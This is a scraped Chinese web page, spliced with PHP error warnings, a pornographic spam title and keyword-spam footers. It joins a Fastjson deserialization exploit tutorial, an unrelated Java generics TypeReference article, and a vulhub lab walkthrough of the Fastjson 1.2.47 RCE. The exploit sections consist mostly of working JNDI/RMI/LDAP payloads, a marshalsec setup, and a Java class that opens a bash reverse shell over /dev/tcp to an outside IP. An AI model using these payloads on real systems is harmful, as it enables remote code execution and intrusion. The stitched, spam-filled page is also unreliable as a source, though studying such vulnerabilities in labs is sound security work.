Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 91视频专区,国产精品福利社,亚洲日本在线观看视频

          整合營(yíng)銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          Fastjson反序列化由淺入深

          Fastjson反序列化由淺入深

          源:https://www.cnblogs.com/Aurora-M/p/15683941.html


          Fastjson真-簡(jiǎn)-介

          fastjson是由alibaba開(kāi)發(fā)并維護(hù)的一個(gè)json工具,以其特有的算法,號(hào)稱最快的json庫(kù)

          fastjson的使用

          首先先創(chuàng)一個(gè)簡(jiǎn)單的測(cè)試類User

          public class user {
              public String username;
              public String password;
          
              public user(String username, String password) {
                  this.username=username;
                  this.password=password;
              }
          
              public String getUsername() {
                  return username;
              }
          
              public void setUsername(String username) {
                  this.username=username;
              }
          
              public String getPassword() {
                  return password;
              }
          
              public void setPassword(String password) {
                  this.password=password;
              }
          }
          

          使用fastjson進(jìn)行序列化和反序列化操作

          public class Fastjson {
              public static void main(String[] args) {
                  user user=new user("Bob", "123.com");
          
                  //序列化方式--指定類和不指定類
                  String json1=JSON.toJSONString(user);
                  System.out.println(json1);//{"password":"123.com","username":"Aur0ra.sec"}
                  String json2=JSON.toJSONString(user, SerializerFeature.WriteClassName);
                  System.out.println(json2);//{"@type":"com.aur0ra.sec.fastjson.User","password":"123.com","username":"Aur0ra.sec"}
          
          
          
                  //反序列化
                  //默認(rèn)解析為JSONObject
                  System.out.println(JSON.parse(json1));      //{"password":"123.com","username":"Bob"}
                  System.out.println(JSON.parse(json1).getClass().getName());    //com.alibaba.fastjson.JSONObject
          
                  //依據(jù)序列化中的@type進(jìn)行自動(dòng)反序列化成目標(biāo)對(duì)象類型
                  System.out.println(JSON.parse(json2));      //com.aur0ra.sec.fastjson.user@24b1d79b
                  System.out.println(JSON.parse(json2).getClass().getName()); //com.aur0ra.sec.fastjson.user
          
                  //手動(dòng)指定type,反序列化成目標(biāo)對(duì)象類型
                  System.out.println(JSON.parseObject(json1, user.class)); //com.aur0ra.sec.fastjson.user@68ceda24
                  System.out.println(JSON.parseObject(json1, user.class).getClass().getName()); //com.aur0ra.sec.fastjson.user
          
              }
          }
          

          上述的序列化和反序列化操作,一定要手動(dòng)實(shí)踐。

          執(zhí)行后你會(huì)發(fā)現(xiàn),使用JSON.toJSONString進(jìn)行序列化時(shí),可以設(shè)置是否將對(duì)象的類型也作為序列化的內(nèi)容。當(dāng)對(duì)字符串進(jìn)行反序列化操作時(shí),如果序列化字符串中有@type則會(huì)按照該類型進(jìn)行反序列化操作,而如果沒(méi)有該屬性,則默認(rèn)都返回JSONObject對(duì)象(一種字典類型數(shù)據(jù)存儲(chǔ))。當(dāng)沒(méi)有@type,但又想反序列化成指定的類對(duì)象時(shí),需要通過(guò)JSON.parseObject()同時(shí)傳入該類的class對(duì)象,才能反序列成指定的對(duì)象。
          注意:反序列化的對(duì)象必須具有默認(rèn)的無(wú)參構(gòu)造器和get|set方法,反序列化的底層實(shí)現(xiàn)就是通過(guò)無(wú)參構(gòu)造器和get .set方法進(jìn)行的

          漏洞點(diǎn):由于序列化數(shù)據(jù)是從客戶端發(fā)送的,如果將type屬性修改成惡意的類型,再發(fā)送過(guò)去,而接收方進(jìn)行正常的反序列化操作時(shí),不就可以實(shí)現(xiàn)任意類的反序列化操作!!!

          原理探究

          序列化

          ...
          public static final String toJSONString(Object object, SerializerFeature... features) {
                  SerializeWriter out=new SerializeWriter();
          
                  try {
                      JSONSerializer serializer=new JSONSerializer(out);
                      for (com.alibaba.fastjson.serializer.SerializerFeature feature : features) {
                          serializer.config(feature, true);
                      }
          
                      serializer.write(object);
          
                      return out.toString();
          		}
          }
          ...
          

          當(dāng)指定要將類的名字寫(xiě)入到序列化數(shù)據(jù)中時(shí),就是將其寫(xiě)入到JSONSerializer的配置中,當(dāng)執(zhí)行寫(xiě)操作時(shí),JSONSerializer會(huì)依據(jù)config,進(jìn)行序列化操作。

          手動(dòng)指定類對(duì)象進(jìn)行反序列化

          當(dāng)手動(dòng)指定類對(duì)象時(shí),JSON會(huì)根據(jù)指定的Class進(jìn)行加載和映射。

          自動(dòng)反序列化

          跟了比較久,容易跟丟


          第一張是調(diào)用圖,第二張圖是自動(dòng)反序列化的關(guān)鍵點(diǎn)。在這里,首先就是會(huì)先進(jìn)行詞法分析(不知道的可以理解為按一定格式的將字符串分割),提取到字符串后,進(jìn)行匹配,如果存在@type,那么就會(huì)進(jìn)行如圖中的動(dòng)態(tài)加載對(duì)象,再完成后續(xù)操作,這也就是為什么可以實(shí)現(xiàn)自動(dòng)類匹配加載。

          fastjson反序列化利用

          上面的篇幅,相信應(yīng)該講清楚了,傳入@type實(shí)現(xiàn)自動(dòng)類匹配加載的原理。

          上面也提到了,只要我們可以控制@type類就可以加載任意我們想要加載的類,從而實(shí)現(xiàn)漏洞利用

          POC

          	// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <=1.2.72
               String payload="{{\"@type\":\"java.net.URL\",\"val\"" +":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";
               // 全版本支持 fastjson <=1.2.72
               String payload1="{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
               String payload2="{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
          

          在對(duì)滲透點(diǎn)判斷是否存在fastjson反序列化時(shí),可以利用dnslog進(jìn)行漏洞驗(yàn)證

          默認(rèn)情況下,fastjson只對(duì)public屬性進(jìn)行反序列化操作,如果POC或則EXP中存在private屬性時(shí),需要服務(wù)端開(kāi)啟了SupportNonPublicField功能。

          EXP

          v1.2.41

          漏洞簡(jiǎn)介:

          fastjson判斷類名是否以L開(kāi)頭、以;結(jié)尾,是的話就提取出其中的類名再加載。

          exp

          {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}\
          

          v1.2.42

          1.2.42 版本新增了校驗(yàn)機(jī)制,如果輸入類名的開(kāi)頭和結(jié)尾是l和;就將頭和尾去掉,再進(jìn)行黑名單驗(yàn)證。
          所以繞過(guò)需要在類名外部嵌套兩層L;。

          exp

          {
              "b":{
                  "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
                  "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
                  "autoCommit":true
              }
          }
          

          fastjson>=1.2.45 autoTypeSupport 屬性默認(rèn)為關(guān)閉

          fastjson=1.2.45

          利用條件

          1)、目標(biāo)服務(wù)端存在mybatis的jar包。
          2)、版本需為 3.x.x ~ 3.5.0
          3)、autoTypeSupport屬性為true才能使用。(fastjson >=1.2.25默認(rèn)為false)

          exp

          {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
          

          fastjson <=1.2.47

          漏洞簡(jiǎn)介:

          首先使用java.lang.CLass把獲取到的類緩存到mapping中,然后直接從緩存中獲取到了com.sun.rowset.JdbcRowSetlmpl這個(gè)類,繞過(guò)黑名單機(jī)制。

          利用條件

          小于 1.2.48 版本的通殺,autoType為關(guān)閉狀態(tài)也可以。

          loadClass中默認(rèn)cache設(shè)置為true。

          exp

          {
          "a": {
                    "@type": "java.lang.Class",
                    "val": "com.sun.rowset.JdbcRowSetImpl"
                },
                "b": {
                    "@type": "com.sun.rowset.JdbcRowSetImpl",
                    "dataSourceName": "rmi://x.x.x.x:1098/jndi",
                    "autoCommit": true
          } }
          

          fastjson <=1.2.62

          黑名單繞過(guò)

          {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
          

          fastjson <=1.2.66

          利用條件:

          autoTypeSupport屬性為true才能使用。(fastjson >=1.2.25默認(rèn)為false)

          漏洞簡(jiǎn)介:

          基于黑名單繞過(guò)。

          exp

          {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
          
          {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://x.x.x.x:1389/Calc"}
          
          {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": 
          
          {"@type":"java.util.Properties","UserTransacti
            on":"ldap://x.x.x.x:1389/Calc"}}
          

          ENDING

          There is no system which has absolute SECURITY!
          U Know It,U Hack It!

          Reference:http://www.lmxspace.com/2019/06/29/FastJson-反序列化學(xué)習(xí)/

          嘍大家好啊,我是Hydra~ 在前面的文章中,我們講過(guò)Java中泛型的類型擦除,不過(guò)有小伙伴在后臺(tái)留言提出了一個(gè)問(wèn)題,帶有泛型的實(shí)體的反序列化過(guò)程是如何實(shí)現(xiàn)的,今天我們就來(lái)看看這個(gè)問(wèn)題。

          鋪墊

          我們選擇fastjson來(lái)進(jìn)行反序列化的測(cè)試,在測(cè)試前先定義一個(gè)實(shí)體類:

          @Data
          public class Foo<T> {
              private String val;
              private T obj;
          }
          

          如果大家對(duì)泛型的類型擦除比較熟悉的話,就會(huì)知道在編譯完成后,其實(shí)在類中是沒(méi)有泛型的。我們還是用Jad反編譯一下字節(jié)碼文件,可以看到?jīng)]有類型限制的T會(huì)被直接替換為Object類型:

          下面使用fastjson進(jìn)行反序列化,先不指定Foo中泛型的類型:

          public static void main(String[] args) {
              String jsonStr="{\"obj\":{\"name\":\"Hydra\",\"age\":\"18\"},\"val\":\"str\"}";
              Foo<?> foo=JSONObject.parseObject(jsonStr, Foo.class);
              System.out.println(foo.toString());
              System.out.println(foo.getObj().getClass());
          }
          

          查看執(zhí)行結(jié)果,很明顯fastjson不知道要把obj里的內(nèi)容反序列化成我們自定義的User類型,于是將它解析成了JSONObject類型的對(duì)象。

          Foo(val=str, obj={"name":"Hydra","age":"18"})
          class com.alibaba.fastjson.JSONObject
          

          那么,如果想把obj的內(nèi)容映射為User實(shí)體對(duì)象應(yīng)該怎么寫(xiě)呢?下面先來(lái)示范幾種錯(cuò)誤寫(xiě)法。

          錯(cuò)誤寫(xiě)法1

          嘗試在反序列化時(shí),直接指定Foo中的泛型為User

          Foo<User> foo=JSONObject.parseObject(jsonStr, Foo.class);
          System.out.println(foo.toString());
          System.out.println(foo.getObj().getClass());
          

          結(jié)果會(huì)報(bào)類型轉(zhuǎn)換的錯(cuò)誤,JSONObject不能轉(zhuǎn)成我們自定義的User

          Exception in thread "main" java.lang.ClassCastException: com.alibaba.fastjson.JSONObject cannot be cast to com.hydra.json.model.User
          	at com.hydra.json.generic.Test1.main(Test1.java:24)
          

          錯(cuò)誤寫(xiě)法2

          再試試使用強(qiáng)制類型轉(zhuǎn)換:

          Foo<?> foo=(Foo<User>) JSONObject.parseObject(jsonStr, Foo.class);
          System.out.println(foo.toString());
          System.out.println(foo.getObj().getClass());
          

          執(zhí)行結(jié)果如下,可以看到,泛型的強(qiáng)制類型轉(zhuǎn)換雖然不會(huì)報(bào)錯(cuò),但是同樣也沒(méi)有生效。

          Foo(val=str, obj={"name":"Hydra","age":"18"})
          class com.alibaba.fastjson.JSONObject
          

          好了,現(xiàn)在請(qǐng)大家忘記上面這兩種錯(cuò)誤的使用方法,代碼中千萬(wàn)別這么寫(xiě),下面我們看正確的寫(xiě)法。

          正確寫(xiě)法

          在使用fastjson時(shí),可以借助TypeReference完成指定泛型的反序列化:

          public class TypeRefTest {
              public static void main(String[] args) {
                  String jsonStr="{\"obj\":{\"name\":\"Hydra\",\"age\":\"18\"},\"val\":\"str\"}";
                  Foo foo2=JSONObject.parseObject(jsonStr, new TypeReference<Foo<User>>(){});
                  System.out.println(foo2.toString());
                  System.out.println(foo2.getObj().getClass());
              }
          }
          

          運(yùn)行結(jié)果:

          Foo(val=str, obj=User(name=Hydra, age=18))
          class com.hydra.json.model.User
          

          Foo中的obj類型為User,符合我們的預(yù)期。下面我們就看看,fastjson是如何借助TypeReference完成的泛型類型擦除后的還原。

          TypeReference

          回頭再看一眼上面的代碼中的這句:

          Foo foo2=JSONObject.parseObject(jsonStr, new TypeReference<Foo<User>>(){});
          

          重點(diǎn)是parseObject方法中的第二個(gè)參數(shù),注意在TypeReference<Foo<User>>()有一對(duì)大括號(hào){}。也就是說(shuō)這里創(chuàng)建了一個(gè)繼承了TypeReference的匿名類的對(duì)象,在編譯完成后的項(xiàng)目target目錄下,可以找到一個(gè)TypeRefTest.class字節(jié)碼文件,因?yàn)槟涿惖拿?guī)則就是主類名+$+(1,2,3……)

          反編譯這個(gè)文件可以看到這個(gè)繼承了TypeReference的子類:

          static class TypeRefTest$1 extends TypeReference
          {
              TypeRefTest$1()
              {
              }
          }
          

          我們知道,在創(chuàng)建子類的對(duì)象時(shí),子類會(huì)默認(rèn)先調(diào)用父類的無(wú)參構(gòu)造方法,所以看一下TypeReference的構(gòu)造方法:

          protected TypeReference(){
              Type superClass=getClass().getGenericSuperclass();
              Type type=((ParameterizedType) superClass).getActualTypeArguments()[0];
          
              Type cachedType=classTypeCache.get(type);
              if (cachedType==null) {
                  classTypeCache.putIfAbsent(type, type);
                  cachedType=classTypeCache.get(type);
              }
              this.type=cachedType;
          }
          

          其實(shí)重點(diǎn)也就是前兩行代碼,先看第一行:

          Type superClass=getClass().getGenericSuperclass();
          

          雖然這里是在父類中執(zhí)行的代碼,但是getClass()得到的一定是子類的Class對(duì)象,因?yàn)?span style="color: #E83E8C; --tt-darkmode-color: #E83E8C;">getClass()方法獲取到的是當(dāng)前運(yùn)行的實(shí)例自身的Class,不會(huì)因?yàn)檎{(diào)用位置改變,所以getClass()得到的一定是TypeRefTest

          獲取當(dāng)前對(duì)象的Class后,再執(zhí)行了getGenericSuperclass()方法,這個(gè)方法與getSuperclass類似,都會(huì)返回直接繼承的父類。不同的是getSuperclas沒(méi)有返回泛型參數(shù),而getGenericSuperclass則返回了包含了泛型參數(shù)的父類。

          再看第二行代碼:

          Type type=((ParameterizedType) superClass).getActualTypeArguments()[0];
          

          首先將上一步獲得的Type強(qiáng)制類型轉(zhuǎn)換為ParameterizedType參數(shù)化類型,它是泛型的一個(gè)接口,實(shí)例則是繼承了它的ParameterizedTypeImpl類的對(duì)象。

          ParameterizedType中定義了三個(gè)方法,上面代碼中調(diào)用的getActualTypeArguments()方法就用來(lái)返回泛型類型的數(shù)組,可能返回有多個(gè)泛型,這里的[0]就是取出了數(shù)組中的第一個(gè)元素。

          驗(yàn)證

          好了,明白了上面的代碼的作用后,讓我們通過(guò)debug來(lái)驗(yàn)證一下上面的過(guò)程,執(zhí)行上面TypeRefTest的代碼,查看斷點(diǎn)中的數(shù)據(jù):

          這里發(fā)現(xiàn)一點(diǎn)問(wèn)題,按照我們上面的分析,講道理這里父類TypeReference的泛型應(yīng)該是Foo<User>啊,為什么會(huì)出現(xiàn)一個(gè)List<String>

          別著急,讓我們接著往下看,如果你在TypeReference的無(wú)參構(gòu)造方法中加了斷點(diǎn),就會(huì)發(fā)現(xiàn)代碼執(zhí)行中會(huì)再調(diào)用一次這個(gè)構(gòu)造方法。

          好了,這次的結(jié)果和我們的預(yù)期相同,父類的泛型數(shù)組中存儲(chǔ)了Foo<User>,也就是說(shuō)其實(shí)TypeRefTest繼承的父類,完成的來(lái)說(shuō)應(yīng)該是TypeReference<Foo<User>>,但是我們上面反編譯的文件中因?yàn)椴脸脑驔](méi)有顯示。

          那么還有一個(gè)問(wèn)題,為什么這個(gè)構(gòu)造方法會(huì)被調(diào)用了兩次呢?

          看完了TypeReference的代碼,終于在代碼的最后一行讓我發(fā)現(xiàn)了原因,原來(lái)是在這里先創(chuàng)建了一個(gè)TypeReference匿名類對(duì)象!

          public final static Type LIST_STRING=new TypeReference<List<String>>() {}.getType();
          

          因此整段代碼執(zhí)行的順序是這樣的:

          • 先執(zhí)行父類中靜態(tài)成員變量的定義,在這里聲明并實(shí)例化了這個(gè)LIST_STRING,所以會(huì)執(zhí)行一次TypeReference()構(gòu)造方法,這個(gè)過(guò)程對(duì)應(yīng)上面的第一張圖
          • 然后在實(shí)例化子類的對(duì)象時(shí),會(huì)再執(zhí)行一次父類的構(gòu)造方法TypeReference(),對(duì)應(yīng)上面的第二張圖
          • 最后執(zhí)行子類的空構(gòu)造方法,什么都沒(méi)有干

          至于在這里聲明的LIST_STRING,在其他地方也沒(méi)有被再使用過(guò),Hydra也不知道這行代碼的意義是什么,有明白的小伙伴可以在后臺(tái)留言告訴我。

          這里在拿到了Foo中的泛型User后,后面就可以按照這個(gè)類型來(lái)反序列化了,對(duì)后續(xù)流程有興趣的小伙伴可以自己去啃啃源碼,這里就不展開(kāi)了。

          擴(kuò)展

          了解了上面的過(guò)程后,我們最后通過(guò)一個(gè)例子加深一下理解,以常用的HashMap作為例子:

          public static void main(String[] args) {
              HashMap<String,Integer> map=new HashMap<String,Integer>();
              System.out.println(map.getClass().getSuperclass());
              System.out.println(map.getClass().getGenericSuperclass());
              Type[] types=((ParameterizedType) map.getClass().getGenericSuperclass())
                      .getActualTypeArguments();
              for (Type t : types) {
                  System.out.println(t);
              }
          }
          

          執(zhí)行結(jié)果如下,可以看到這里取到的父類是HashMap的父類AbstractMap,并且取不到實(shí)際的泛型類型。

          class java.util.AbstractMap
          java.util.AbstractMap<K, V>
          K
          V
          

          修改上面的代碼,僅做一點(diǎn)小改動(dòng):

          public static void main(String[] args) {
              HashMap<String,Integer> map=new HashMap<String,Integer>(){};
              System.out.println(map.getClass().getSuperclass());
              System.out.println(map.getClass().getGenericSuperclass());
              Type[] types=((ParameterizedType) map.getClass().getGenericSuperclass())
                      .getActualTypeArguments();
              for (Type t : types) {
                  System.out.println(t);
              }
          }
          

          執(zhí)行結(jié)果大有不同,可以看到,只是在new HashMap<String,Integer>()的后面加了一對(duì)大括號(hào){},就可以取到泛型的類型了:

          class java.util.HashMap
          java.util.HashMap<java.lang.String, java.lang.Integer>
          class java.lang.String
          class java.lang.Integer
          

          因?yàn)檫@里實(shí)例化的是一個(gè)繼承了HashMap的匿名內(nèi)部類的對(duì)象,因此取到的父類就是HashMap,并可以獲取到父類的泛型類型。

          其實(shí)也可以再換一個(gè)寫(xiě)法,把這個(gè)匿名內(nèi)部類換成顯示聲明的非匿名的內(nèi)部類,再修改一下上面的代碼:

          public class MapTest3 {
              static class MyMap extends HashMap<String,Integer>{}
          
              public static void main(String[] args) {
                  MyMap myMap=new MyMap();
                  System.out.println(myMap.getClass().getSuperclass());
                  System.out.println(myMap.getClass().getGenericSuperclass());
                  Type[] types=((ParameterizedType) myMap.getClass().getGenericSuperclass())
                          .getActualTypeArguments();
                  for (Type t : types) {
                      System.out.println(t);
                  }
              }
          }
          

          運(yùn)行結(jié)果與上面完全相同:

          class java.util.HashMap
          java.util.HashMap<java.lang.String, java.lang.Integer>
          class java.lang.String
          class java.lang.Integer
          

          唯一不同的是顯式生成的內(nèi)部類與匿名類命名規(guī)則不同,這里生成的字節(jié)碼文件不是MapTest3.class,而是MapTest3$MyMap.class,在$符后面使用的是我們定義的類名。

          好啦,那么這次的填坑之旅就到這里,我是Hydra,下期見(jiàn)。


          作者:碼農(nóng)參上

          來(lái)源:https://www.cnblogs.com/trunks2008/p/15984752.html

          個(gè)實(shí)驗(yàn)先做了dnslog探測(cè),然后做了創(chuàng)建文件,最后做了反彈shell。Fastjson是阿里巴巴公司開(kāi)源的一款json解析器,其性能優(yōu)越,被廣泛應(yīng)用于各大廠商的Java項(xiàng)目中。fastjson于1.2.24版本后增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構(gòu)造的json字符串繞過(guò)白名單檢測(cè),成功執(zhí)行任意命令。[1]

          ailx10

          網(wǎng)絡(luò)安全優(yōu)秀回答者

          網(wǎng)絡(luò)安全碩士

          去咨詢

          前提:準(zhǔn)備好docker環(huán)境,下載好vulhub,進(jìn)入目錄 ,開(kāi)始復(fù)現(xiàn)漏洞

          • docker-compose build //可選
          • docker-compose up -d

          完成試驗(yàn)后,記得刪除漏洞環(huán)境哦~~

          • docker-compose down
          • docker system prune -a -f //可選

          簡(jiǎn)單訪問(wèn)一下,說(shuō)明Fastjson 1.2.47 遠(yuǎn)程命令執(zhí)行漏洞環(huán)境搭建成功了

          (1)dnslog探測(cè)

          POST / HTTP/1.1
          Host: 144.34.162.13:8090
          Upgrade-Insecure-Requests: 1
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
          Accept-Encoding: gzip, deflate, br
          Accept-Language: zh-CN,zh;q=0.9
          Content-Type: application/json
          Connection: close
          Content-Length: 71
          
          {"b":{"@type":"java.net.Inet4Address","val":"ailx10.iye2ck.dnslog.cn"}}


          (2)任意命令執(zhí)行(演示寫(xiě)文件)[2]

          • 向文件 /tmp目錄寫(xiě)入文件 success ,javac TouchFile.java 編譯 class文件
          // javac TouchFile.java
          import java.lang.Runtime;
          import java.lang.Process;
          
          public class TouchFile {
              static {
                  try {
                      Runtime rt=Runtime.getRuntime();
                      String[] commands={"touch", "/tmp/success"};
                      Process pc=rt.exec(commands);
                      pc.waitFor();
                  } catch (Exception e) {
                      // do nothing
                  }
              }
          }
          • 啟動(dòng)一個(gè)HTTP服務(wù)
          • 借助marshalsec項(xiàng)目[3],編譯一個(gè)RMI服務(wù)器
          mvn clean package -DskipTests
          • 啟動(dòng)RMI服務(wù)器,監(jiān)聽(tīng)9999端口,并加載遠(yuǎn)程類TouchFile.class
          java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://174.137.58.6:7777/#TouchFile" 9999
          • 掏出burpsuite,對(duì)靶場(chǎng)發(fā)起POST請(qǐng)求
          POST / HTTP/1.1
          Host: 144.34.162.13:8090
          Upgrade-Insecure-Requests: 1
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
          Accept-Encoding: gzip, deflate, br
          Accept-Language: zh-CN,zh;q=0.9
          Content-Type: application/json
          Connection: close
          Content-Length: 262
          
          {
              "a":{
                  "@type":"java.lang.Class",
                  "val":"com.sun.rowset.JdbcRowSetImpl"
              },
              "b":{
                  "@type":"com.sun.rowset.JdbcRowSetImpl",
                  "dataSourceName":"rmi://174.137.58.6:9999/Exploit",
                  "autoCommit":true
              }
          }
          • 進(jìn)入docker,見(jiàn)證奇跡,文件創(chuàng)建成功

          (3)反彈shell[4]

          • javac Getshell.java 編譯 class文件
          // Getshell.java
          import java.lang.Runtime;
          import java.lang.Process;
          
          public class Getshell {
              static {
                  try {
                      Runtime rt=Runtime.getRuntime();
                      String[] commands={"bash", "-c", "bash -i>& /dev/tcp/174.137.58.6/8888 0>&1"};
                      Process pc=rt.exec(commands);
                      pc.waitFor();
                  } catch (Exception e) {
                      // do nothing
                  }
              }
          }
          • 啟動(dòng)一個(gè)HTTP服務(wù)(同上,略)
          • 啟動(dòng)RMI服務(wù)器,監(jiān)聽(tīng)9999端口,并加載遠(yuǎn)程類 Getshell.class (同上)
          java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://174.137.58.6:7777/#Getshell" 9999
          • 監(jiān)聽(tīng)8888端口
          nc -lvp 8888
          • 掏出burpsuite,對(duì)靶場(chǎng)發(fā)起POST請(qǐng)求
          POST / HTTP/1.1
          Host: 144.34.162.13:8090
          Upgrade-Insecure-Requests: 1
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
          Accept-Encoding: gzip, deflate, br
          Accept-Language: zh-CN,zh;q=0.9
          Content-Type: application/json
          Connection: close
          Content-Length: 254
          
          {
          "a":{
                  "@type":"java.lang.Class",
                  "val":"com.sun.rowset.JdbcRowSetImpl"
              },
             "b":{
                 "@type":"com.sun.rowset.JdbcRowSetImpl",
                 "dataSourceName":"rmi://174.137.58.6:9999/Exploit",
                 "autoCommit":true
              }
          }
          • 見(jiàn)證奇跡,反彈shell成功

          參考

          1. ^Fastjson 1.2.47 遠(yuǎn)程命令執(zhí)行漏洞 https://github.com/vulhub/vulhub/blob/master/fastjson/1.2.47-rce/README.md
          2. ^fastjson/1.2.47-rce https://github.com/vulhub/vulhub/blob/master/fastjson/1.2.47-rce/README.md
          3. ^marshalsec https://github.com/mbechler/marshalsec
          4. ^Vulhub 漏洞學(xué)習(xí)之:Fastjson https://www.cnblogs.com/f-carey/p/16308551.html

          發(fā)布于 2023-11-23 14:14?IP 屬地美國(guó)


          主站蜘蛛池模板: 精品国产伦一区二区三区在线观看| 福利国产微拍广场一区视频在线| 久久久久人妻一区二区三区vr| 尤物精品视频一区二区三区 | 中文字幕一区二区日产乱码| 精品国产日韩亚洲一区91| 中文字幕一区二区三区免费视频 | 国产精品xxxx国产喷水亚洲国产精品无码久久一区 | 久久精品一区二区三区资源网| 视频在线观看一区二区三区| 久久久人妻精品无码一区| 97精品国产一区二区三区| 亚洲老妈激情一区二区三区| 亚洲一区日韩高清中文字幕亚洲| 精品视频在线观看一区二区三区| 国产未成女一区二区三区| 99国产精品欧美一区二区三区 | 亚洲一区二区三区高清在线观看 | 无码毛片一区二区三区中文字幕| 日本一区二区三区日本免费| 精品一区狼人国产在线| 国产精品成人免费一区二区 | 精品国产一区AV天美传媒| 麻豆AV一区二区三区久久| 91精品一区二区三区在线观看| 一区二区视频在线| 中文字幕av一区| 在线成人综合色一区| 日本高清无卡码一区二区久久 | 国产福利微拍精品一区二区 | 久久国产精品无码一区二区三区 | 亚洲AV无码一区二区三区系列| 内射女校花一区二区三区| 国产精品毛片一区二区三区| 无码精品人妻一区二区三区免费看| 无码国产伦一区二区三区视频| 无码人妻一区二区三区一| 日韩精品一区二区三区国语自制| 麻豆视传媒一区二区三区| 久久se精品一区二区影院| 99精品国产高清一区二区|